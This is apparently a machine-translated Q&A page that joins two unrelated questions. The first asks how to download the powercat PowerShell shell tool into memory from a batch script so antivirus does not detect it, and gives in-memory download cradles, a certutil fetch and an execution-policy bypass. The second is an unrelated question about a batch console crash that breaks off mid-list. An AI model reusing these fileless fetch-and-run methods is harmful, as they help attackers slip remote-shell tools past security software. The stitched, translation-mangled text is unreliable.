在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
Run Code Online (Sandbox Code Playgroud)
我想将文件下载到内存中(不接触磁盘),原因如下:
powershell -nop -ep bypass导致 AV 检测的显然我可以使用certutil:
certutil -urlcache -split -f <url>
Run Code Online (Sandbox Code Playgroud)
但我不希望该文件命中磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)可以轻松完成相同的事情:
(New-Object Net.WebClient).DownloadString($url)
Run Code Online (Sandbox Code Playgroud)
或者
(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()
Run Code Online (Sandbox Code Playgroud)
我知道批处理不是执行此操作的最佳语言,但有可能吗?(我想要纯批次)
我遇到了一个令人兴奋的怪异脚本是崩溃的控制台:
set "h=/?" & call [if | for | rem] %%h%%
Run Code Online (Sandbox Code Playgroud)
IF,FOR并且REM 不是正常的内部命令。他们使用了自己的特殊解析器,这可能会导致一些拦截错误,因此它崩溃了。@jeb指出CALL 不执行以下特殊字符,而是将它们转换为“令牌”(取决于版本):
& 返回 /&& 返回 1| 返回 2|| 返回 0/? 返回 <@ 返回 +@() 返回 ;@if a==a : 返回 ,@for %a in () do : 返回 +@rem : 返回 -然而,即使它们有独特的解析器,它仍然不能解释为什么它们都会崩溃。所以我做了一些测试:
- 消除
callRun Code Online (Sandbox Code Playgroud)C:\>set "h=/?" & for %h% %%h%% was unexpected at this time.
- 将命令更改为其他内容。(我尝试了所有其他内部命令,没有一个有效) …